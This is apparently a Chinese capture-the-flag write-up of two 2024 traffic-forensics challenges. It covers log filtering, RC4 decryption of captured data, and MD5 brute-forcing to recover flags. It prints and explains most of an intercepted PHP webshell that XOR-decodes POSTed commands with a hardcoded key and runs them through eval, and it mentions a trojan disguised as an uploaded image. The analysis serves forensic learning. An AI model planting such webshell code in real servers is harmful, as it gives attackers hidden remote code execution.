2024_长城杯_漏洞探踪,流量解密/最安全的加密方式
漏洞探踪,流量解密
解题
(1):
先对第一阶段的oa.access.log进行过滤:
cat ./oa.access.log |awk '{print $1}'|sort -nr |uniq -c
得到的结果就几个,每个都试一下得到:192.168.30.234
(2):
第二阶段,先进行过滤:
http && http.request.method == "POST"
然后一个个看过去
得到提示RC4加密,这里的f.jpg是个上传的木马,内容如图:
发现从192.168.1.5下载了两个文件:
找到key
这个raw不知道是什么,但是里面字符串的结构和key有重合,可以发现根据key字符串可以分成三部分:
bdb8e21eace81d5fd21ca445ccb35071
5a76f6751576dbe1af49328aa1d2d2bea16ef62afa3a7c616d
bdb8e21eace81d5fd21ca445ccb35071
猜测是密文,RC4用key对其解密:
flag:{welcome to beijing}
瑞士军刀功能挺强大的。
最安全的加密方式
直接http过滤看一下包,就十几个包
直接看文件:
一个个查看,发现两个包异常:
导出查看,一个是php文件,一个是压缩包:
使用ai分析php代码:
1. 初始化
@session_start();
@set_time_limit(0);
@error_reporting(0);
session_start():启动会话,允许使用会话变量。
set_time_limit(0):设置脚本的最大执行时间为无限制。
error_reporting(0):关闭错误报告,避免在页面上显示任何错误信息。
2. encode 函数
function encode($D, $K) {
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}
此函数用于对输入数据 $D 进行编码或加密,使用的密钥是 $K。
通过逐个字符与密钥中的字符进行异或运算来实现加密。
3. 变量定义
$pass = '25ming@';
$payloadName = 'payload';
$key = '3c6e0b8a9c15224a';
$pass:一个密码字符串。
$payloadName:用于存储会话中有效负载的名称。
$key:用于加密和解密的密钥。
4. 表单处理
if (isset($_POST[$pass])) {
$data = encode(base64_decode($_POST[$pass]), $key);
检查是否存在以 $pass 为键的 POST 请求。
对 POST 数据进行 Base64 解码,然后使用 encode 函数进行解密。
5. 处理有效负载
if (isset($_SESSION[$payloadName])) {
$payload = encode($_SESSION[$payloadName], $key);
eval($payload);
echo substr(md5($pass.$key), 0, 16);
echo base64_encode(encode(@run($data), $key));
echo substr(md5($pass.$key), 16);
} else {
if (stripos($data, "getBasicsInfo") !== false) {
$_SESSION[$payloadName] = encode($data, $key);
}
}
如果会话中已经存在 $payloadName 的数据:
解码并执行存储的有效负载 (eval($payload))。
然后输出与 $pass 和 $key 相关的 MD5 哈希的前后部分。
执行 run($data) 并将结果进行编码。
如果会话中不存在有效负载,并且解码后的 $data 包含 "getBasicsInfo" 字符串,则将其存储到会话中。
分析得出该php应该只是个木马文件,负责对传入的参数进行解码执行并加密返回。
分析加密文件,用php中的$pass = '25ming@';值发现刚刚好是密码,解压发现文件:
发现第一行字符串是字母f用md5加密后的字符串,猜测全为md5加密,用脚本爆破:
import hashlib
flag = ["8fa14cdd754f91cc6554c9e71929cce7",
"2db95e8e1a9267b7a1188556b2013b33",
"0cc175b9c0f1b6a831c399e269772661",
"b2f5ff47436671b6e533d8dc3614845d",
"f95b70fdc3088560732a5ac135644506",
"b9ece18c950afbfa6b0fdbfa4ff731d3",
"2510c39011c5be704182423e3a695e91",
"e1671797c52e15f763380b45e841ec32",
"b14a7b8059d9c055954c92674ce60032",
"6f8f57715090da2632453988d9a1501b",
"cfcd208495d565ef66e7dff9f98764da",
"03c7c0ace395d80182db07ae2c30f034",
"e358efa489f58062f10dd7316b65649e",
"b14a7b8059d9c055954c92674ce60032",
"c81e728d9d4c2f636f067f89cc14862c",
"e1671797c52e15f763380b45e841ec32",
"4a8a08f09d37b73795649038408b5f33",
"4c614360da93c0a041b22e537de151eb",
"4b43b0aee35624cd95b910189b3dc231",
"e1671797c52e15f763380b45e841ec32",
"b14a7b8059d9c055954c92674ce60032",
"e1671797c52e15f763380b45e841ec32",
"8d9c307cb7f3c4a32822a51922d1ceaa",
"4a8a08f09d37b73795649038408b5f33",
"4b43b0aee35624cd95b910189b3dc231",
"57cec4137b614c87cb4e24a3d003a3e0",
"83878c91171338902e0fe0fb97a8c47a",
"e358efa489f58062f10dd7316b65649e",
"865c0c0b4ab0e063e5caa3387c1a8741",
"d95679752134a2d9eb61dbd7b91c4bcc",
"7b8b965ad4bca0e41ab51de7b31363a1",
"9033e0e305f247c0c3c80d0c7848c8b3",
"9033e0e305f247c0c3c80d0c7848c8b3",
"9033e0e305f247c0c3c80d0c7848c8b3",
"cbb184dd8e05c9709e5dcaedaa0495cf"
]
dic = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!&{}'
for f in flag:
for a in dic:
if hashlib.md5(a.encode('utf-8')).hexdigest() == f:
print(a, end='')
break
得到:
flag{The_m0st_2ecUre_eNcrYption!!!}